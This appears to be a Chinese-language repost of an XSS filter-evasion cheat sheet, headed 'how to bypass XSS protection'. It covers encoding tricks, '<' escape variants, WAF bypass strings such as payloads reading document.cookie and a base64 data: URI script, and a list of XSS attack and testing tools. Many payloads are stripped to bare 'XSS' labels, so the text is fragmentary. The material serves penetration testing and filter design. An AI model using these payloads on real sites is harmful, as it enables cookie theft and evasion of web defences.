        Hex encoding十六進(jìn)制:

        允許的每個(gè)數(shù)字的總大小大約為240個(gè)字符,如您在第二個(gè)數(shù)字上看到的,并且由于十六進(jìn)制數(shù)字介于0和F之間,因此不需要在第三個(gè)十六進(jìn)制引號(hào)上的前導(dǎo)零).

        XSS

        Octal encoding八進(jìn)制:

        Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

        XSS

        Base64 encoding:

        Mixed encoding:

        讓我們混合和匹配基本編碼,并加入一些制表符和換行符-為什么瀏覽器允許這樣做,我永遠(yuǎn)不會(huì)知道)。制表符和換行符只有在用引號(hào)封裝時(shí)才起作用。

        XSS

        協(xié)議解析旁路:

        (//轉(zhuǎn)換為http:/,這將保存更多的字節(jié))。當(dāng)空間也是一個(gè)問(wèn)題時(shí)(少兩個(gè)字符會(huì)有很長(zhǎng)的路要走),

        這真的很方便,而且可以輕松地繞過(guò)類似regex的“(ht | f)tp(s)?“//”。

        您也可以將“/”改為“\\”。但是,您確實(shí)需要保留斜杠,否則這將被解釋為相對(duì)路徑URL。

        XSS

        Google "feeling lucky" part 1.:

        Firefox使用Google的“感覺(jué)幸運(yùn)”功能將用戶重定向到你輸入的任何關(guān)鍵詞。

        因此,如果你的可利用頁(yè)面是一些隨機(jī)關(guān)鍵字的頂部(如你在這里看到的),你可以對(duì)任何Firefox用戶使用該功能。這使用了Firefox的“keyword:”協(xié)議。

        例如,您可以使用如下“keyword:XSS+RSnake”連接多個(gè)關(guān)鍵字。從2.0開(kāi)始,這不再適用于Firefox。

        XSS

        Google "feeling lucky" part 2:

        這使用了一個(gè)看起來(lái)只適用于Firefox的非常小的技巧,因?yàn)槿绻恰案杏X(jué)幸運(yùn)”功能的實(shí)現(xiàn)。

        與下一個(gè)不同,這在Opera中不起作用,因?yàn)镺pera認(rèn)為這是舊的HTTP基本身份驗(yàn)證仿冒攻擊,而不是。這只是一個(gè)格式錯(cuò)誤的URL。

        如果你點(diǎn)擊對(duì)話框上的OK,它將工作,但由于錯(cuò)誤的對(duì)話框,我是說(shuō)Opera不支持此功能,并且從2.0開(kāi)始Firefox不再支持此功能。

        XSS

        Google "feeling lucky" part 3:

        這使用了一個(gè)格式錯(cuò)誤的URL,似乎只在Firefox和Opera中有效,因?yàn)槿绻鼈儗?shí)現(xiàn)了“感覺(jué)幸運(yùn)”功能。

        像上面所有的這些一樣,它要求你在Google中的關(guān)鍵字是1(在本例中是“Google”)。

        XSS

        Removing cnames:

        當(dāng)與上述URL結(jié)合使用時(shí),刪除“www.”將為正確設(shè)置此設(shè)置的服務(wù)器節(jié)省額外的4個(gè)字節(jié),總共節(jié)省9個(gè)字節(jié)。

        XSS

        絕對(duì)DNS的額外點(diǎn):

        XSS

        JavaScript link location:

        XSS

        內(nèi)容替換為攻擊向量:

        假設(shè)“http://www.google.com/”以編程方式替換為空)。

        實(shí)際上,我使用了一個(gè)類似的攻擊向量來(lái)攻擊幾個(gè)獨(dú)立的真實(shí)世界XSS過(guò)濾器,

        方法是使用轉(zhuǎn)換過(guò)濾器本身(這里是一個(gè)示例)來(lái)幫助創(chuàng)建攻擊向量

        (即:“java ;script:”被轉(zhuǎn)換為“java script:”,它在IE、Netscape 8.1+中以安全站點(diǎn)模式和Opera呈現(xiàn))。

        XSS

        字符轉(zhuǎn)義序列:

        HTML和JavaScript中字符“<”的所有可能組合。其中大多數(shù)不會(huì)在框外渲染,但其中許多可以在上述特定情況下渲染。

        <

        %3C

        &lt

        &lt;

        &LT

        &LT;

        <

        <

        <

        <

        <

        <

        &#60;

        &#060;

        &#0060;

        &#00060;

        &#000060;

        &#0000060;

        <

        <

        <

        <

        <

        <

        &#x3c;

        &#x03c;

        &#x003c;

        &#x0003c;

        &#x00003c;

        &#x000003c;

        <

        <

        <

        <

        <

        <

        &#X3c;

        &#X03c;

        &#X003c;

        &#X0003c;

        &#X00003c;

        &#X000003c;

        <

        <

        <

        <

        <

        <

        &#x3C;

        &#x03C;

        &#x003C;

        &#x0003C;

        &#x00003C;

        &#x000003C;

        <

        <

        <

        <

        <

        <

        &#X3C;

        &#X03C;

        &#X003C;

        &#X0003C;

        &#X00003C;

        &#X000003C;

        \x3c

        \x3C

        \u003c

        \u003C

        繞過(guò)WAF的方法-跨站點(diǎn)腳本:

        General issues

        Stored XSS:

        如果攻擊者設(shè)法推動(dòng)XSS通過(guò)過(guò)濾器,WAF將無(wú)法阻止攻擊的傳導(dǎo)。在Javascript中反映XSS.

        Example:

        Exploitation: /?xss=500); alert(document.cookie);//

        DOM-based XSS:

        Example:

        Exploitation: /?xss=document.cookie

        XSS via request Redirection:

        通過(guò)請(qǐng)求重定向的XSS。

        易受攻擊的代碼.

        ...

        header('Location: '.$_GET['param']);

        ...

        As well as:

        ...

        header('Refresh: 0; URL='.$_GET['param']);

        ...

        This request will not pass through the WAF:

        /?param=javascript:alert(document.cookie)

        This request will pass through the WAF and an XSS attack will be conducted in certain browsers.

        /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

        WAF ByPass Strings for XSS:

        ">”>’>

        ">

        ">

        過(guò)濾器旁路警報(bào)混,Filter bypass alarm confusion:

        (alert)(1)

        a=alert,a(1)

        [1].find(alert)

        top[“al”+”ert”](1)

        top[/al/.source+/ert/.source](1)

        al\u0065rt(1)

        top[‘a(chǎn)l\145rt’](1)

        top[‘a(chǎn)l\x65rt’](1)

        top[8680439..toString(30)](1)

        http://example.com/index.php?user=

        應(yīng)用程序檢測(cè)和糾正無(wú)效輸入的方法是防止XSS的另一個(gè)主要弱點(diǎn)。黑名單可能不包括所有可能的攻擊字符串,白名單可能過(guò)于寬容,清理可能失敗,或者某種類型的輸入可能被錯(cuò)誤地信任并保持未清理狀態(tài)。

        工具類:

        • OWASP CAL9000

        CAL9000是Web應(yīng)用程序安全性測(cè)試工具的合集,可補(bǔ)充當(dāng)前Web代理和自動(dòng)掃描程序的功能集。它作為參考托管在https://1337.yehg.net/CAL9000/上。

        • PHP字符集編碼器(PCE) - http://h5k.in/encoding [鏡:http://yehg.net/e ]

        此工具可幫助您在65種字符集之間對(duì)任意文本進(jìn)行編碼。還提供了JavaScript提供的一些編碼功能。

        • HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

        它為高級(jí)字符串操作攻擊提供了數(shù)十種靈活的編碼。

              OWASP WebScar

        WebScarab是一個(gè)框架,用于分析使用HTTP和HTTPS協(xié)議進(jìn)行通信的應(yīng)用程序。

        • XSS-代理 - http://xss-proxy.sourceforge.net/

        XSS-Proxy是高級(jí)的跨站點(diǎn)腳本(XSS)攻擊工具。

        • ratproxy - http://code.google.com/p/ratproxy/

        一種半自動(dòng)化的,很大程度上是被動(dòng)的Web應(yīng)用程序安全審核工具,基于對(duì)復(fù)雜Web 2.0環(huán)境中現(xiàn)有的用戶發(fā)起的流量的觀察,已針對(duì)潛在問(wèn)題和與安全相關(guān)的設(shè)計(jì)模式進(jìn)行了精確,靈敏的檢測(cè)和自動(dòng)注釋,并進(jìn)行了優(yōu)化。

        • 代理http : //portswigger.net/proxy/

        Burp代理是用于攻擊和測(cè)試Web應(yīng)用程序的交互式HTTP/S代理服務(wù)器。

        • OWASP Zed的攻擊代理(ZAP) - OWASP_Zed_Attack_Proxy_Project

        ZAP是易于使用的集成滲透測(cè)試工具,用于發(fā)現(xiàn)Web應(yīng)用程序中的漏洞。它被設(shè)計(jì)為具有廣泛的安全經(jīng)驗(yàn)的人使用,因此,它是滲透測(cè)試新手的開(kāi)發(fā)人員和功能測(cè)試人員的理想選擇。ZAP提供了自動(dòng)掃描程序以及一系列工具,可讓您手動(dòng)查找安全漏洞。

        • OWASP Xenotix XSS漏洞利用框架 - OWASP_Xenotix_XSS_Exploit_Framework

        OWASP Xenotix XSS漏洞利用框架是一個(gè)高級(jí)的跨站點(diǎn)腳本(XSS)漏洞檢測(cè)和利用框架。它通過(guò)其獨(dú)特的三重瀏覽器引擎(Trident,WebKit和Gecko)嵌入式掃描儀提供零誤報(bào)掃描結(jié)果。據(jù)稱,它具有約1600多個(gè)獨(dú)特的XSS有效負(fù)載的全球第二大XSS有效負(fù)載,可有效地檢測(cè)XSS漏洞和WAF繞過(guò)。Xenotix腳本引擎允許您通過(guò)Xenotix API創(chuàng)建自定義測(cè)試用例和附加組件。它與功能豐富的信息收集模塊結(jié)合在一起,可用于目標(biāo)偵察。漏洞利用框架包括用于滲透測(cè)試和概念驗(yàn)證創(chuàng)建的令人討厭的XSS漏洞利用模塊。

        看完上述內(nèi)容,你們對(duì)如何繞過(guò)XSS的防護(hù)有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。


        本文題目:如何繞過(guò)XSS的防護(hù)
        URL分享:http://weahome.cn/article/pdccsp.html

        在線咨詢

        微信咨詢

        電話咨詢

        028-86922220(工作日)

        18980820575(7×24)

        提交需求

        返回頂部